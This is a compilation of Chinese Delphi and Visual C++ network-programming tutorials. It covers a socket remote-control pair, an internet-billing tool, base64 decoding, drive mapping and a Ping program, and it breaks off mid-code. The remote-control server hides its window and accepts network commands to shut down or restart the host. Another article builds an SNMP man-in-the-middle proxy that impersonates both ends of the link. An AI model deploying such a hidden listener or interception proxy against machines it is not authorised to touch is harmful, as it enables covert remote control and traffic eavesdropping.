---- 1、新建一个项目Client.dpr，并把一个TClientSocket元件放到Form上，它的属性设置如下：Port设为100(端口号可任意设置，只要求双方统一)，其它属性按默认值。在窗体上添加两个TEdit：Edit1用来输入发送的字符，Edit2用来输入IP地址；添加两个TButton：Button1点击后用来连接被控机，Button2点击后用来发送字符，然后声明一个私有变量ConnectFlag，表示双方是否连接好：
       private
         ConnectFlag:Boolean;
---- 2、ClientSocket1的OnConnect事件代码如下：
       procedure TForm1.ClientSocket1Connect
(Sender: TObject;Socket: TCustomWinSocket);
       begin
         ConnectFlag:=True; //表示连接成功
       end;
---- 3、ClientSocket1的OnError事件代码如下：
procedure TForm1.ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent:
TErrorEvent;var ErrorCode: Integer);
       begin
Application.MessageBox(PChar('    不能连接到IP地址
 : ' + Edit2.Text+'。'+
#13+'可能是监听程序没有运行或网络故障！'),'
连接错误',MB_OK+MB_ICONSTOP);
          ErrorCode := 0;
       end;
---- 4、Button1的OnClick事件代码如下：
procedure TForm1.Button1Click(Sender: TObject);
begin
with ClientSocket1 do  begin
if Active then begin
Active := False;//在连接之前首先关闭
ConnectFlag:=False; //置连接标志为假
end;
if Length(Edit2.Text) > 0 then begin
Host := Edit2.Text; //指定IP地址或主机名
Active := True;
            end;
          end;
       end;
---- 5、Button2的OnClick事件代码如下：
procedure TForm1.Button2Click(Sender: TObject);
       begin
          if ConnectFlag then
ClientSocket1.Socket.SendText(Edit1.Text)
  //如果连接成功则发送字符串
          else
Application.MessageBox(PChar('    没有连接到地址 :
 ' + Edit2.Text+'。'+
#13+'检查IP地址是否存在或是否已经连接！'),'
提示信息',MB_OK+MB_ICONSTOP);
       end;

三、编写被控程序

---- 1、新建一个项目Server.dpr，并把一个TServerSocket元件放到Form上，它的属性设置如下：Active设为True；Port设为100，其它属性按默认值。

---- 2、ServerSocket1的OnClientRead事件代码如下：

procedure TForm1.ServerSocket1ClientRead
(Sender: TObject;Socket: TCustomWinSocket);
       var
         Str:PChar;
         Code,V:Integer;
       begin
   Str:=PChar(Socket.ReceiveText);  //接收字符串
Val(Str,V,Code); //处理接收的字符串，首先转换字符串为整数
  if Code< >0 then
Application.MessageBox(Str,'提示信息',
MB_OK+MB_ICONINFORMATION)
//如果转换后的数据不是一个整型数就通过消息框来显示字符串
         else
           if (V=0)or(V=1)or(V=2) then
             ExitWindowsEx(V,0)
//调用Windows的API函数(V=0表示重新登录、
V=1表示关机、V=2表示重启动)
           else
Application.MessageBox(Str,'提示信息',
MB_OK+MB_ICONINFORMATION);
//转换后数据不为0、1、2时在消息框内显示字符串
       end;
---- 3、修改项目文件，不让窗口显示并且防止它运行两次，修改begin和end之间的代码如下：
       begin
Application.Initialize;
if FindWindow('TForm1','Form1')=0 then begin
//当没有找到Form1时执行下面代码
Application.ShowMainForm:=False; //不显示主窗口
Application.CreateForm(TForm1, Form1);
Application.Run;
          end;
       end.

四、注意事项

---- 1、网络要装配正确并安装TCP/IP协议，且要正常运行。

---- 2、首先要运行被控程序。

---- 3、必须知道对方的IP地址或主机名。


判断网络协议是否安装

function IsIPInstalled : boolean;
var
ppe : PProtoEnt;
WSData : TWSAData;

begin
Result:=true;
if WSAStartup(MakeWord(1,1),WSData)=0
then
begin
ppe:=GetProtoByName('IP');
if ppe=nil
then
Result:=false;
end;
WSACleanup;
end;


网络计算机信息

uses {...,}Winsock;

procedure ShowHostName;
var
wVersionRequested : WORD;
wsaData : TWSAData;
p : PHostEnt;
s : array[0..128] of
char;
p2 : pchar;
begin
{启动 WinSock}
wVersionRequested
:= MAKEWORD(1, 1);
WSAStartup(wVersionRequested, wsaData);

{计算机名}
GetHostName(@s, 128);
p := GetHostByName(@s);
ShowMessage(Format('Computer name is ''%s''.', [p^.h_Name]));

{IP地址}
p2 := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
ShowMessage(Format('IP address is %s.',[p2]));

WSACleanup;
end;


编写上网计费软件

如何编写个人Internet上网计费软件

---- 随着Internet的日益普及，到Internet网上冲浪的人是越来越多了，对于手头并不是很宽裕的网民特别是在家里上网的网民来说，如果能及时知道自己上网已经花了多少钱，那么，每次到ISP那缴纳费用时，至少可以做到心中有数。下面介绍一种非常方便的方法，根据这个方法的原理，用VB、Delphi之类的软件很容易很快编写出一个不错的个人Internet上网计费软件。

---- 工作原理

---- 现在一般个人上网，都是运行Windows 95/98平台，采用Modem拨号上网方式，在Windows 95/98中，配置“拨号服务器”时，拨号服务器有一个属性，就是是否记录日志文件，其默认值是“否”。对于它，平常我们可能都没太注意。我们把它改成“是”，这样，在每次上网后，Windows 95就会在其安装目录下（通常就是C盘的Windows目录），把上网连通的时间以及上网过程中发生的事件记录在ppplog.txt日志文件中。

---- ppplog.txt是一个标准的文本文件,在此文件中,上网发生的每个事件记录占有一行,格式为:

 日期	   时间		发生的事件
|---------|-----------|-|---------------------|
12-19-1998 21:54:31.25
- Microsoft 拨号网络适配器日志已打开。
12-19-1998 21:54:31.25
 - 服务器类型是 PPP (点到点协议)。
.
.
.
12-19-1998 22:44:49.08
 - Microsoft 拨号网络适配器日志已关闭。

---- 上述内容是简体中文Windows 98的ppplog.txt文件格式，对于Windows 95，基本格式是一样的，只是事件部分是英文的。

日期	   时间		发生的事件
|---------|-----------|-|---------------------|
12-15-1998 16:34:27.71
- Remote access driver log opened.
12-15-1998 16:34:27.71
- Installable CP VxD SPAP is loaded
12-15-1998 16:34:27.71
 - Server type is  PPP (Point to Point Protocol).
.
.
.
12-15-1998 16:58:30.05
- Remote access driver log closed.

---- 对应于一次正常的上网过程，Windows 95/98必定会在ppplog.txt文件中记录下包括什么时候日志文件已打开以及什么时候日志文件已关闭的完整过程，这样，我们每次上网后读取ppplog.txt文件，把含有“日志已打开”字符串的事件记录的时间作为我们计时的起点,读取日期、时间，把含有“日志已关闭”字符串的事件记录的时间作为我们计时的结束（对于Windows 95，字符串分别取”log opened”和”log closed”），读取日期、时间，算出其时间差，以该时间差作为时长,按照市话费每三分钟算一次，每次0.24元，Internet费，每一分钟算一次,每次0.10元(我们这的收费标准),便可以算出每次的花费费用了。我们可以把每次计算的结果保存在一个数据库中，那么就可以随时查询自己的花费情况了。

---- 具体实现

---- 下面是我的具体实现过程，程序用Delphi编程实现。

---- 1、配置拨号服务器以便记录日志文件

---- 1.1、从任务栏上选取“开始”-〉“设置”-〉“控制面板”。

---- 1.2、点击“网络”图标，出现网络配置对话框。

---- 1.3、在网络组件中选择“拨号服务器”，按“属性”按钮，出现“拨号服务器”属性对话框。

---- 1. 4、选择其“高级”选项，然后选择“记录日志文件”项，在其右边的设置值中选择 “是”。按“确定”按钮，接着系统提示需要重新启动机器，重新启动后，设置就起作用了，以后每次上网，都会把上网时间记录在日志文件ppplog.txt文件中。

---- 2、 建立一数据库internet.db

---- 数据库用来保存每次的计费数据，方便查询。

---- 利用Delphi软件包中的DataBase DeskTop程序建立

---- 数据库中包含有下列字段：

字段名	类型	说明
Begindate	Date	起始日期
Begintime	Time	起始时间
Enddate	Date	结束日期
Endtime	Time	结束时间
Timelen	Number	时长
TelCost	Currency	电话费用
Ispcost	Currency	Internet费用

---- 3、从日志文件ppplog.txt文件中读取数据

---- 为了避免重复读取数据，可以每次从ppplog.txt文件中读完数据后，把ppplog.txt中的内容复制到ppplog.bak文件中，以便想查看日志文件时可以查看，然后，把ppplog.txt文件置空。读取的数据存放到数据库中。具体程序如下：

 procedure TForm1.readlogExecute(Sender: TObject);
 var
   logfile: TextFile;
   logbak: TextFile;
   Str1: string;
   datestr,timestr:string;
 begin
   AssignFile(logbak,'c:\windows\ppplog.bak');
   if not FileExists('c:\windows\ppplog.bak') then
      Rewrite(logbak)
   else
      Append(logbak);
   if not FileExists('c:\windows\ppplog.txt') then
       MessageDlg('日志文件不存在',
       mtInformation,[mbOk],0)
   else
     begin
     AssignFile(logfile, 'c:\windows\ppplog.txt');
     Reset(logfile);
     if Eof(logfile) then
     begin
        ShowMessage('日志文件已为空');
        Exit;
     end;
     Table1.Open;
     while not Eof(logfile) do
     begin
      Readln(logfile, Str1);
 {‘log opened’作为计时的起点}
      if Pos('log opened',Str1)< >0 then
      begin
        datestr:=copy(str1,1,10);
        timestr:=copy(str1,12,8);
        Table1.Append;
        Table1.FieldValues['begindate']
        := StrToDate(datestr);
        Table1.FieldValues['begintime']
        := StrToTime(timestr);
        Table1.Post;
      end;
 {‘log closed’作为计时的结束}
      if Pos('log closed',str1)< >0 then
      begin
        datestr:=copy(str1,1,10);
        timestr:=copy(str1,12,8);
        table1.Last;
        table1.Edit;
        Table1.FieldValues['enddate']
        := StrToDate(datestr);
        Table1.FieldValues['endtime']
        := StrToTime(timestr);
        Table1.Post;
      end;
      Writeln(logbak,str1);
     end;
     Table1.close;
     Rewrite(logfile);
     CloseFile(logfile);
     CloseFile(logbak);
    end;
   end;

---- 4、计算费用的过程

---- 在该过程中，对于Internet计费的半价问题（市话没有半价），只考虑到了晚上九点以后早上七点以前，对于节假日、星期六、星期天没有考虑，有兴趣的朋友可自我完善此程序。

procedure TForm1.calcostExecute(Sender: TObject);
var
  Year, Month, Day, Hour,
  Min, Sec, MSec: Word;
  Year1, Month1, Day1, Hour1,
   Min1, Sec1, MSec1: Word;
  tlen :  integer;
  tcost : Real;
begin
  Table1.open;
  while not Table1.Eof do
  begin
    {计算时长,以分钟为单位}
    if Table1Enddate.IsNull then
       tlen:=1
    else
     begin
       DecodeDate(Table1.FieldValues
       ['begindate'],year,month,day);
       DecodeDate(Table1.FieldValues
       ['enddate'],year1,month1,day1);
       DecodeTime(Table1.FieldValues
       ['begintime'],hour,min,sec,msec);
       DecodeTime(Table1.FieldValues
       ['endtime'],hour1,min1,sec1,msec1);
       tlen:=((((((day1-day)*24+hour1)
        -hour)*60+min1)-min)*60+sec1)-sec;
     end;
    if (tlen mod 60) > 0 then
       tlen:=tlen div 60 +1
    else
       tlen := tlen div 60;
    Table1.edit;
    Table1.FieldValues['timelen'] := tlen;
    {市话三分钟算一次}
    if (tlen mod 3) > 0 then
       tcost := (tlen div 3 + 1)*0.24
    else
       tcost := (tlen div 3)*0.24;
    Table1.FieldValues['telcost'] := tcost;
    if (hour >=21) or (hour< =7) then
       Table1.FieldValues['ispcost'] := tlen*0.05
    else
       Table1.FieldValues['ispcost'] := tlen*0.1;
    Table1.Next ;
  end;
  DbGrid1.Visible := True;
end;

---- 结束语

---- 通过上述过程，每次上网的费用都计算保存在数据库internet.db中，我们可以再编一段查询程序，这样便可以清楚地随时知道自己的上网花费了。


利用“侦听-转发”程序破译网管协议

一， 开发目的及原理

---- 本公司在产品开发过程中，需要研究多种以太网交换机（又称智能集线器）的内部网管信息结构，为此，必须编写出一个“窃听”程序，把网管程序和交换机的通讯内容记录下来加以分析。本人在Visual C++ 6.0下用MFC Socket类编出程序，成功地实现了上述目的。

---- 目前，标准的网络管理程序与支持网管的网络设备之间大多采用标准的简单网络管理协议（SNMP）进行通讯。SNMP是一种高层协议，建立于UDP/IP之上。通讯双方按照SNMP格式来传递各种网管信息和控制信息，并能进行事件实时报告或报警，从而使网络管理员能方便及时地控制网络当前的运行情况。

---- 网管信息的范围十分广泛，如网络流量，连接状态等，因被管设备的不同而不同，厂家也能依照有关的国际标准自定义自家产品的网管信息。网管信息集中定义于管理信息库（MIB）中，整个体系是一个可扩展的树状结构。一条条的网管信息被包装在SNMP协议包内，再往下传给传输层，转成UDP包，然后通过Socket 机制发送出去。

---- 本程序的基本原理是：插到网管程序和被管设备之间“欺上瞒下”，与网管程序通讯时冒充被管设备；与被管设备通讯时冒充网管程序，使二者对本程序“无话不谈”；本程序则暗中有序地记录下谈话内容，然后再“上传下达”，将收到的内容转发给真正的接收者，使谈话继续下去，如此循环不已。

二， 编程的思路和具体过程

---- 本程序不需要复杂的图形界面，因此，只需用Project Wizard开出一个支持Socket而基于对话框的MFC 应用程序即可。对话框的类名为CChatDlg，然后再用资源编辑器在这个对话框上加上一个按钮，面上文字为“Listen”。接收到的所有信息将在Visual C++集成环境的Output窗口中用TRACE语句打出，这样做的目的是能方便及时地看到各种数据，当然也可用别的方法。在本程序中，Client指网管程序，Server指交换机。

---- 接着给本项目添加两个类，它们都衍生自CSocket，可调用ClassWizard工具生成。CClientSocket用于接收来自网管程序的UDP数据，而CServerSocket则用于接收来自交换机的UDP数据。这两个类的定义如下：

class CClientSocket : public CSocket
{
// Attributes
public:

// Operations
public:
 CClientSocket(CChatDlg* pdlg);
 virtual ~CClientSocket();

// Overrides
public:
 BOOL m_bFirst;
 CChatDlg* pDlg;
 // ClassWizard generated virtual
  function overrides
 //{{AFX_VIRTUAL(CClientSocket)
 public:
 virtual void OnReceive(int nErrorCode);
 //}}AFX_VIRTUAL

 // Generated message map functions
 //{{AFX_MSG(CClientSocket)
  // NOTE - the ClassWizard will
add and remove member functions here.
 //}}AFX_MSG

// Implementation
protected:
};
m_bFirst和pDlg是自定义的两个类别成员，
其作用见下文。

class CServerSocket : public CSocket
{
// Attributes
public:

// Operations
public:
 CServerSocket(CChatDlg* pdlg);
 virtual ~CServerSocket();

// Overrides
public:
 CChatDlg* pDlg;
 // ClassWizard generated virtual function overrides
 //{{AFX_VIRTUAL(CServerSocket)
 public:
 virtual void OnReceive(int nErrorCode);
 //}}AFX_VIRTUAL

 // Generated message map functions
 //{{AFX_MSG(CServerSocket)
  // NOTE - the ClassWizard will add
 and remove member functions here.
 //}}AFX_MSG

// Implementation
protected:
};

 然后，在CChatDlg类中加入对
  按钮Listen的处理函数如下：
void CChatDlg::OnListen()
{
 pClientSocket = new CClientSocket(this);

 if(pClientSocket != NULL)
 {
  if(!pClientSocket->Create(SNMP_SOCKET_PORT,
  SOCK_DGRAM))
   AfxMessageBox("Can not create ClientSocket !");
  else
   ::EnableWindow(GetDlgItem(IDC_LISTEN)->
     m_hWnd,FALSE);
 }
 else
 {
  AfxMessageBox("Can not new ClientSocket !");
 }
}
注意：SNMP_SOCKET_PORT应设为161。

 然后，在CClientSocket中加入
 虚函数OnReceive的实作内容：
void CClientSocket::OnReceive(int nErrorCode)
{
 CSocket::OnReceive(nErrorCode);

 unsigned char tmp[MAXTMPSIZE];
 //MAXTMPSIZE是自定义宏，可为1024；
 int i;
 int RecNum;

 UINT ClientPort;
 CString ClientAddress;

 if(m_bFirst)
 {
  m_bFirst = false;

  RecNum = ReceiveFrom(tmp, MAXTMPSIZE,
  ClientAddress, ClientPort);

  if(RecNum > 0)
  {
   TRACE("Received from client, %d bytes :\n", RecNum);
   for(i=0; i<RecNum; i++)
   {
    if(i%10==0)
     TRACE("\n%5d,", tmp[i]);
    else
     TRACE("%5d,", tmp[i]);
   }

   TRACE("\n\n");

   pDlg->CreateServerSocket(ClientAddress, ClientPort);
   pDlg->Send(true, tmp, RecNum);
  }
  else
   AfxMessageBox("Error: fail to Receive from
client the first time!");
 }
 else
 {
  RecNum = Receive(tmp, MAXTMPSIZE);

  if(RecNum > 0)
  {
   TRACE("Received from client, %d bytes :\n", RecNum);
   for(i=0; i<RecNum; i++)
   {
    if(i%10==0)
     TRACE("\n%5d,", tmp[i]);
    else
     TRACE("%5d,", tmp[i]);
   }

   TRACE("\n\n");

   pDlg->Send(true, tmp, RecNum);
  }
  else
   AfxMessageBox("Error: fail to Receive from client!");
 }

 if(RecNum <= 0)
 {
  AfxMessageBox("Error: fail to Receive from client !");
  return;
 }
}
---- 本段程序的大概意思是：如果本程序首次收到来自网管程序的UDP包，则要记录下它的Socket端口号和IP 地址，这是本程序最关键的地方之一。这样做的原因是：网管通讯开始时一般是由网管程序首先发出SNMP 请求包，所以要先响应网管程序；另一目的是由此获得事先未知的网管程序侦听的Socket端口号和IP地址，然后让CChatDlg由此创建CServerSocket。随后调用CChatDlg的Send函数将收到的UDP包转发给交换机，并在Output窗口按每行10个的格式显示出收到的数据。

---- 上段程序中CChatDlg的Send和CreateServerSocket函数的内容如下：

void CChatDlg::CreateServerSocket
(CString address, UINT port)
{
 m_ClientAddress = address;
 m_ClientPort = port;

 pServerSocket = new CServerSocket(this);

 if(pServerSocket != NULL)
 {
  if(!pServerSocket->Create(m_ClientPort,
    SOCK_DGRAM))
   AfxMessageBox("Can not create ServerSocket !");
 }
 else
  AfxMessageBox("Can not new ServerSocket !");
}

void CChatDlg::Send(BOOL ToServer,
unsigned char* buf, int buf_len)
{
 if(ToServer)
 {
  if(pServerSocket != NULL)
  {
   if(pServerSocket->SendTo(buf, buf_len,
     SNMP_SOCKET_PORT,
m_ServerAddress)==SOCKET_ERROR)
    AfxMessageBox("Error: fail to send data to
        server !");
  }
 }
 else
 {
  if(pClientSocket != NULL)
  {
   if(pClientSocket->SendTo(buf, buf_len, m_ClientPort,
 m_ClientAddress)==SOCKET_ERROR)
AfxMessageBox("Error: fail to send data to client !");
   }
 }
}
---- 注意：m_ServerAddress是交换机的IP地址，要事先在CChatDlg的OnInitDialog函数或其他地方设定。

---- 最后，要处理接收到的来自于交换机的UDP包，将其中的数据在Output窗口中按每行10个的格式显示出来，然后调用CChatDlg的Send函数将其转发给网管程序。这在CServerSocket类的OnReceive虚函数中实现：

void CServerSocket::OnReceive(int nErrorCode)
{
 CSocket::OnReceive(nErrorCode);

 unsigned char tmp[MAXTMPSIZE];
 int i;
 int RecNum;

 RecNum = Receive(tmp, MAXTMPSIZE);

 if(RecNum > 0)
 {
  TRACE("Received from server, %d bytes:\n", RecNum);

  for(i=0; i<RecNum; i++)
  {
   if(i%10==0)
    TRACE("\n%5d,", tmp[i]);
   else
    TRACE("%5d,", tmp[i]);
  }

  TRACE("\n\n");

  pDlg->Send(false, tmp, RecNum);
 }
 else
 {
  i = GetLastError();
  TRACE("RecNum = %d,
    GetLastError() = %d\n", RecNum, i);
  AfxMessageBox("Error: fail to Receive from server!");
 }
}
---- 以上就是本程序的主要功能部分，其中有一些变量因篇幅原因未作详细解释，但不影响对程序的理解。

三, 运行过程

---- 分别在两台机器上装上本程序和网管程序，将它们连上交换机，先运行本程序，点Listen按钮，然后运行网管程序。一般的网管程序运行时，需要设置被管设备的IP的地址，此时，要将其设为本程序所在机器的IP地址，使网管程序将所有的SNMP包发给本程序。

---- 之后两程序应能正确运行（如果不行，可能要将上述过程多重复几次。），在Output窗口可以看到数据源源不断地显示出来，这真是对网管过程的真实记录！当数据量足够后，结束本程序，可以看到网管程序界面上显示出“设备已断开连接！”的提示信息。然后可以将Output窗口中的数据拷贝到文本文件中，按照SNMP的格式和编码规则进行详细分析，网管协议就由此慢慢地破解出来了。


base64编码转换

 { Decode base-64 files, Arne de Bruijn, 1996, Released to the Public Domain }
{ Strip everything but the base-64 lines before feeding it into this program }
uses dos;
var
Base64:array[43..122] of byte;
var
T:text;
Chars:set of char;
S:string;
K,I,J:word;
Buf:pointer;
DShift:integer;
F:file;
B,B1:byte;
Decode:array[0..63] of byte;
Shift2:byte;
Size,W:word;
begin
FillChar(Base64,SizeOf(Base64),255);
J:=0;
for I:=65 to 90 do
begin
Base64[I]:=J;
Inc(J);
end;
for I:=97 to 122 do
begin
Base64[I]:=J;
Inc(J);
end;
for I:=48 to 57 do
begin
Base64[I]:=J;
Inc(J);
end;
Base64[43]:=J; Inc(J);
Base64[47]:=J; Inc(J);
if ParamCount=0 then
begin
WriteLn('UNBASE64 <mime file> [<output file>]');
Halt(1);
end;
S:=ParamStr(1);
assign(T,S);
GetMem(Buf,32768);
SetTextBuf(T,Buf^,32768);
{$I-} reset(T); {$I+}
if IOResult<>0 then
begin
WriteLn('Error reading ',S);
Halt(1);
end;
if ParamCount>=2 then
S:=ParamStr(2)
else
begin write('Destination:'); ReadLn(S); end;
assign(F,S);
{$I-} rewrite(F,1); {$I+}
if IOResult<>0 then
begin
WriteLn('Error creating ',S);
Halt(1);
end;
while not eof(T) do
begin
ReadLn(T,S);
if (S<>'') and (pos(' ',S)=0) and (S[1]>=#43) and (S[1]<=#122) and
(Base64[byte(S[1])]<>255) then
begin
FillChar(Decode,SizeOf(Decode),0);
DShift:=0;
J:=0; Shift2:=1;
Size:=255;
B:=0;
for I:=1 to Length(S) do
begin
case S[I] of
#43..#122:B1:=Base64[Ord(S[I])];
else
B1:=255;
end;
if B1=255 then
if S[I]='=' then
begin
B1:=0; if Size=255 then Size:=J;
end
else
WriteLn('Char error:',S[I],' (',Ord(S[I]),')');
if DShift and 7=0 then
begin
Decode[J]:=byte(B1 shl 2);
DShift:=2;
end
else
begin
Decode[J]:=Decode[J] or Hi(word(B1) shl (DShift+2));
Decode[J+1]:=Lo(word(B1) shl (DShift+2));
Inc(J);
Inc(DShift,2);
end;
end;
if Size=255 then Size:=J;
BlockWrite(F,Decode,Size);
end;
end;
Close(F);
close(T);
end.


映射网络驱动器

基 本 原 理

----在Windows 环 境 下， 应 用 程 序 使 用Windows 网 络 函 数（WNet） 来 实 现 网 络 功 能 而 不 用 关 心 网 络 的 供 应 商 及 具 体 实 现， 因 为WNet 函 数 是 独 立 于 网 络 的。
----Wnet 函 数 主 要 有：WnetAddConnection , WnetAddConnection2 , WnetAddConnection3 , WnetCancelConnection2 等。 本 文 主 要 用 WnetAddConnection2，WnetCancelConnection2 函 数。

----WNetAddConnection2 在Windows.pas 中 的 函 数 原 型 如 下：

----function WNetAddConnection2(var lpNetResource: TNetResource;lpPassword, lpUserName:

----PChar; dwFlags: DWORD): DWORD; stdcall;

----为 调 用 此 函 数， 必 须 填 写lpNetResouce 结 构， 此 结 构 的 定 义 为：

typedef  struct _NETRESOUCE{
DWORD dwScope;
DWORD dwType;
DWORD
dwDisplayType;
DWORD dwUsage;
LPTSTR
lpLocalName;
LPTSR
lpRemoteName;
LPTSr  lpProvider;
} NETRESOURCE;

----这 里 使 用dwType,lpLocalName,lpRemoteName,lpProvider 几 个 参 数。 其 含 义 如 下：

----dwType : 用 于 指 定 网 络 的 资 源 类 型， 有 以 下RESOURCETYPE_ANY( 任 何 资 源),RESOURCETYPE_DISK( 磁 盘 资 源) , RESOURCETYPE_PRINT（ 打 印 机 资 源）。

----lpLocalName : 指 定 本 地 设 备。

----lpRemoteName : 指 定 远 程 网 络 名。

----lpProvider : 指 定 提 供 网 络 资 源 的 供 应 商。 如 为 空， 则 表 示 供 应 商 未 知。

----WNetAddConnection2 函 数 的lpPassword 为 远 程 资 源 的 口 令。

----lpUserName 为 远 程 资 源 的 用 户 名。dwFlags 标 志 位 用 于 指 定 登 录 时 是 否 重 新 连 接（0 时 表 示 不 重 新 连 接，CCONNECT_UPDATE_PROFILE 表 示 登 录 时 重 新 连 接）。

----WnetCancelConnection2 在Windows .pas 中 的 函 数 原 型 如 下：

----function WNetCancelConnection2(lpName: PChar; 　 　dwFlags: DWORD; fForce: BOOL):DWORD; stdcall;

----lpName : 要 断 开 的 远 程 网 络 资 源 或 本 地 重 定 向 驱 动 器。

----dwFlags : 含 义 同 上。

----fForce : True 表 示 不 管 是 否 有 文 件 打 开， 强 制 性 断 开 网 络 驱 动 器；False 表 示 如 有 文 件 打 开 则 函 数 运 行 失 败。

实 例

----在Delphi 的File 菜 单 下 选 择New Application， 在Form1 上 放 置 一 个Button， 在Button1 的Click 事 件 中 键 入 如 下 代 码：
procedure TForm1.Button1Click(Sender : TObject);
var
NetSource : TNetResource;
begin
with NetSource do
begin
dwType := RESOURCETYPE_ANY;
lpLocalName := ‘X:';
// 将 远 程 资 源 映 射 到 此 驱 动 器
lpRemoteName := ‘\\hqServer\sys';
// 远 程 网 络 资 源
lpProvider := ‘';
// 必 须 赋 值,
如 为 空 则 使 用lpRemoteName 的 值。
end;
WnetAddConnection2(NetSource,‘Password',‘Guest',
// 用 户 名 为Guest， 口 令 为Password
CONNECT_UPDATE_PROFILE);
// 下 次 登 录 时 重 新 连 接
// 此 时 在Windows 资 源 管 理 器 中
可 看 到 网 络 驱 动 器X：
if MessageDlg(‘Are you sure to disconnect Drive ?',
     mtConfirmation, [mbYes, mbNo], 0) = mrYes
then
// 不 管 是 否 有 文 件 打 开，
断 开 网 络 驱 动 器X：
WNetCancelConnection2( ‘X:', CONNECT_UPDATE_
PROFILE, True);
end;
end;


由域名获得IP

 function GetIPFromName(Name: string): string;
var
WSAData: TWSAData;
HostEnt: PHostEnt;
begin
WSAStartup(2, WSAData);
HostEnt := gethostbyname(PChar(Name));
with HostEnt^ do
Result := Format('%d.%d.%d.%d', [Byte(h_addr^[0]),
Byte(h_addr^[1]), Byte(h_addr^[2]), Byte(h_addr^[3])]);
WSACleanup;
end;


网络相关的API

 WNetAddConnection 重定向本地设备网络资源
WNetAddConnection2 重定向本地设备网络资源
WNetCancelConnection 断开网络连接
WNetCancelConnection2 断开网络连接
WNetCloseEnum 结束网络资源列表
WNetConnectionDialog 开始网络连接对话框
WNetDisconnectDialog 断开网络对话框
WNetEnumResource 继续列表网络资源
WNetGetConnection 获取网络资源名
WNetGetLastError 返回网络函数最近错误
WNetGetUniversalName
WNetGetUser 获取当前网络用户名
WNetOpenEnum 列出网络资源


获得网络工作组名

 function GetNetWorkgroup : string;
var
Reg : TRegistry;
begin
Reg := TRegistry.create;
Result := '(n/a)';
with Reg do
try
RootKey := HKEY_LOCAL_MACHINE;
if OpenKey('System\CurrentControlSet\Services\VxD\VNETSUP',
false) then
Result := ReadString('Workgroup');
finally
CloseKey;
free;
end;
end;


打开拨号连接

 需要打开拨号网络吗？需要调用拨号网络里的拨号程序来连接吗？看下面：
其中“连接Internet”为你创建的拨号程序名称
winexec('rundll32.exe rnaui.dll,RnaDial '+'连接Internet',9);


编程实现Ping操作

Delphi编程实现Ping操作 作 　　张泰立
使用过网络的用户都熟悉“Ping”这个指令，它是一个DOS下的可执行文件，
一般用它来检查网络连接的好坏程度。其基本原理是利用TCP/IP协议包中ICMP协
议中的一个功能，即向所指定的计算机发送一个请求，收到请求的计算机返回一
个应答，借此来判断该计算机是否在网上运行或者检查网络连接是否稳定可靠。
在Ping程序执行过程中，双方计算机所耗费的资源都很少，因此，它是一个非常
实用的工具。 　 我们可以通过编程来实现“Ping”操作，对其加以改进，使之具有Windows的

界面风格，显示比DOS更加直观。
    首先，对编程中需要的动态链接库作一简要说明：在Windows的System目录下
，你可以找到Icmp.dll文件，该动态链接库提供了ICMP协议的所有功能，我们的
编程就建立在对该动态链接库的调用上。Icmp.dll文件内的调用函数说明如下：
    1、IcmpCreateFile 　　打开一个句柄，通过该句柄你可以发送ICMP的请求
回送报文。
    2、IcmpCloseHandle 　　关闭你通过IcmpCreateFile函数打开的句柄。
    3、IcmpSendEcho 　　通过你打开的句柄发送ICMP请求，在超时或应答报
文接收后返回。其参数基本上和它的帧结构一致，可参看下面的程序部分，其具

体含意你可以参看有关ICMP协议的书籍。
  初步了解了上述的三个函数后，我们就可以开始编程了。
    首先，我们的程序运行后应该有如图1所示的基本功能。为此，我们可先在
Delphi的窗口中放入右上图中所示的控件，如按钮、编辑框和文本显示框等。
  然后，在程序的开始部分（FormCreate）对WinSocket进行初始化，其作用是
申明使用的版本信息，同时调入Icmp.dll库。
    type
     PIPOptionInformation = ^TIPOptionInformation;
TIPOptionInformation = packed record
TTL: Byte;

TOS: Byte;
Flags: Byte;
OptionsSize: Byte;
OptionsData:
PChar;
end;
PIcmpEchoReply = ^TIcmpEchoReply;
TIcmpEchoReply = packed record
Address:
DWORD;
Status: DWORD;
RTT: DWORD;
DataSize: Word;
Reserved: Word;
Data: Pointer;
Options:
TIPOptionInformation ;
end;
TIcmpCreateFile = function: THandle;
stdcall;
TIcmpCloseHandle =
function(IcmpHandle: THandle):Boolean;stdcall;

TIcmpSendEcho=function(IcmpHandle:THandle;DestinationAddress:DWORD;
RequestData:Pointer;RequestSize:Word;RequestOptions:IPOptionInformation;
     ReplyBuffer: Pointer;ReplySize: DWord;Timeout: DWord): DWord; stdcall;

      TMyPing = class(TForm)
Panel1:
TPanel;
Label1: TLabel;
PingEdit: TEdit;
ExeBtn:
TButton;
Button2: TButton;
Button3: TButton;
StatusShow: TMemo;
procedure Button3Click(Sender:
TObject);

          procedure FormCreate(Sender: TObject);
procedure ExeBtnClick(Sender: TObject);
private  　　 { Private declarations }
hICMP:
THANDLE;
IcmpCreateFile :
TIcmpCreateFile;
IcmpCloseHandle:
TIcmpCloseHandle;
IcmpSendEcho:
TIcmpSendEcho;
public  　　 { Public declarations }
end;
procedure TMyPing.FormCreate(Sender: TObject);
var
WSAData: TWSAData;
hICMPdll:
HMODULE;
begin
// Load the icmp.dll stuff
hICMPdll := LoadLibrary('icmp.dll');

@ICMPCreateFile := GetProcAddress(hICMPdll, 'IcmpCreateFile');
@IcmpCloseHandle :=  GetProcAddress(hICMPdll, 'IcmpCloseHandle');
@IcmpSendEcho := GetProcAddress(hICMPdll, 'IcmpSendEcho');
hICMP :=  IcmpCreateFile;
StatusShow.Text :=
'';
StatusShow.Lines.Add('目的IP地址 字节数 返回时间(毫秒)');
end;
//接下来，就要进行如下所示的Ping操作的实际编程过程了。
procedure TMyPing.ExeBtnClick(Sender: TObject);

var
IPOpt:TIPOptionInformation;// IP Options for packet to send
FIPAddress:DWORD;
pReqData,pRevData:PChar;
pIPE:PIcmpEchoReply;// ICMP Echo reply buffer
FSize: DWORD;
MyString:string;
FTimeOut:DWORD;
BufferSize:DWORD;
begin
if PingEdit.Text <> '' then
begin
FIPAddress := inet_addr(PChar(PingEdit.Text));
FSize := 40;
BufferSize := SizeOf(TICMPEchoReply) + FSize;

GetMem(pRevData,FSiz e);
GetMem(pIPE,BufferSize);
FillChar(pIPE^, SizeOf(pIPE^), 0);
pIPE^.Data := pRevData;
MyString :=
'Hello,World';
pReqData := PChar(MyString);
FillChar(IPOpt, Sizeof(IPOpt), 0);
IPOpt.TTL := 64;
FTimeOut :=
4000;
IcmpSendEcho(hICMP, FIPAddress, pReqData,
